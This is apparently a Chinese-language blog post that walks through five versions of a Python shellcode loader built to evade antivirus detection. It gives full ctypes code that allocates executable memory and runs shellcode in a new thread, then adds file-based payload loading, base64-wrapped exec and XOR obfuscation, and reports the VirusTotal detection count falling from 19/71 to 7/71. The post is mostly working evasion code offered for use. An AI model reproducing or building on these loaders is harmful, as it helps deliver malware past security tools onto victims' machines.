1
最基础的版本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| import ctypes def py3loader(shellcode): shellcode = bytearray(shellcode) ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 ptr = ctypes.windll.kernel32.VirtualAlloc( ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40) ) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)) ) handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) ) ctypes.windll.kernel32.WaitForSingleObject( ctypes.c_int(handle), ctypes.c_int(-1) )
buf = b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00" py3loader(buf)
|
一个加载器,一个shellcode,编译用的pyisntaller,5mb左右,火绒秒杀
pyinstaller –noconsole –icon xxx.ico –onefile loader.py
19 / 71 https://www.virustotal.com/gui/file/8a7c2741dc2755b16e29ab4d508fbf8bd9db5320a55aba54bb4c1a0196aeb6cd?nocache=1
2
稍微修改了一下,修改的地方在import这里,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from ctypes import c_int,c_uint64,windll,c_char,pointer
def py3loader2(shellcode): shellcode = bytearray(shellcode) windll.kernel32.VirtualAlloc.restype = c_uint64 ptr = windll.kernel32.VirtualAlloc( c_int(0), c_int(len(shellcode)), c_int(0x3000), c_int(0x40) ) buf = (c_char * len(shellcode)).from_buffer(shellcode) windll.kernel32.RtlMoveMemory( c_uint64(ptr), buf, c_int(len(shellcode)) ) handle = windll.kernel32.CreateThread( c_int(0), c_int(0), c_uint64(ptr), c_int(0), c_int(0), pointer(c_int(0)) ) windll.kernel32.WaitForSingleObject( c_int(handle), c_int(-1) )
buf = b"\xfc\x48\x83\xe4…………\x69\xa0\x8d" py3loader2(buf)
|
就一个加载器,一个shellcode,用pyinstaller编译后大概5mb。火绒秒杀
9/71 https://www.virustotal.com/gui/file/8fae57723e3eb442bd4fea37c93deec076bd026d834c801fafb8b88bee8e4c53
3
在2的基础上,把shellcode拿出来了,做了一个读文件,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from ctypes import c_int,c_uint64,windll,c_char,pointer
def py3loader2(shellcode): shellcode = bytearray(shellcode) windll.kernel32.VirtualAlloc.restype = c_uint64 ptr = windll.kernel32.VirtualAlloc( c_int(0), c_int(len(shellcode)), c_int(0x3000), c_int(0x40) ) buf = (c_char * len(shellcode)).from_buffer(shellcode) windll.kernel32.RtlMoveMemory( c_uint64(ptr), buf, c_int(len(shellcode)) ) handle = windll.kernel32.CreateThread( c_int(0), c_int(0), c_uint64(ptr), c_int(0), c_int(0), pointer(c_int(0)) ) windll.kernel32.WaitForSingleObject( c_int(handle), c_int(-1) )
with open("loadpay",'r')as f: buf = f.read()
exec("buf = b'{}'".format(buf))
py3loader2(buf)
|
编译,效果一般,还更差了。
29/ 71 https://www.virustotal.com/gui/file/7ce8b35e3175fa4772b7e5226fed57dc063e2242eefd91ede0c79bfc341675a7
4
在3的基础上,对代码进行编码,之后再解码运行,
spawn.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| txt = ''' def py3loader2(shellcode): shellcode = bytearray(shellcode) windll.kernel32.VirtualAlloc.restype = c_uint64 ptr = windll.kernel32.VirtualAlloc( c_int(0), c_int(len(shellcode)), c_int(0x3000), c_int(0x40) ) buf = (c_char * len(shellcode)).from_buffer(shellcode) windll.kernel32.RtlMoveMemory( c_uint64(ptr), buf, c_int(len(shellcode)) ) handle = windll.kernel32.CreateThread( c_int(0), c_int(0), c_uint64(ptr), c_int(0), c_int(0), pointer(c_int(0)) ) windll.kernel32.WaitForSingleObject( c_int(handle), c_int(-1) )
with open("loadpay",'r')as f: buf = f.read() exec("buf = b'{}'".format(buf))
py3loader2(buf) ''' from base64 import b64encode as a64en t = a64en(txt.encode()) print(t)
|
运行spawn.py生成一串base64编码后的字符串,然后放在下面的代码里。
1 2 3 4 5 6 7
| from base64 import b64decode as a64de from ctypes import c_int,c_uint64,windll,c_char,pointer
def asdf(qwer): exec(qwer) qwer = a64de(b'CmRlZiBweTNsb2FkZX………………dWYpCg==') asdf(qwer)
|
再编译该文件,还是5m
7/ 71
https://www.virustotal.com/gui/file/50514eed6469eec609b0a76b3db0e3ec051407d7dcd464b1093a63470b33afce
5
在晚上随便找了一个异或加密的算法,
spawn.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| txt = ''' def py3loader2(shellcode): shellcode = bytearray(shellcode) windll.kernel32.VirtualAlloc.restype = c_uint64 ptr = windll.kernel32.VirtualAlloc( c_int(0), c_int(len(shellcode)), c_int(0x3000), c_int(0x40) ) buf = (c_char * len(shellcode)).from_buffer(shellcode) windll.kernel32.RtlMoveMemory( c_uint64(ptr), buf, c_int(len(shellcode)) ) handle = windll.kernel32.CreateThread( c_int(0), c_int(0), c_uint64(ptr), c_int(0), c_int(0), pointer(c_int(0)) ) windll.kernel32.WaitForSingleObject( c_int(handle), c_int(-1) )
with open("loadpay",'r')as f: buf = f.read() exec("buf = b'{}'".format(buf))
py3loader2(buf) ''' from base64 import b64encode as a64en t = a64en(txt.encode()) key = 'this_is_y'
def xor_crypt(data, key): cipher_data = [] len_data = len(data) len_key = len(key) for idx in range(len_data): bias = key[idx % len_key] curr_byte = data[idx] cipher_data.append(bias ^ curr_byte) return a64en(bytearray(cipher_data))
xort = xor_crypt(t,key.encode()) print(xort)
|
原理和4其实一样,多了一次亦或加密罢了,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from base64 import b64decode as a64de from ctypes import c_int,c_uint64,windll,c_char,pointer def asdf(qwer): exec(qwer) key = 'this_is_y' def xor_crypt(data, key): cipher_data = [] len_data = len(data) len_key = len(key) for idx in range(len_data): bias = key[idx % len_key] curr_byte = data[idx] cipher_data.append(bias ^ curr_byte) return bytearray(cipher_data)
qwer = a64de(b'NwU7HwUAMSgcICYaEW0vGAU……………………SUAGzYNJAYJNw9UTg==') qwer = xor_crypt(qwer,key.encode()) qwer = a64de(qwer) asdf(qwer)
|
编译后还是5mb多点,效果没变化。就这样吧
7/71 https://www.virustotal.com/gui/file/984a384d97124e6d12c4dace0416b8f22df8be1bdb329566bdc228c4046cfe98?nocache=1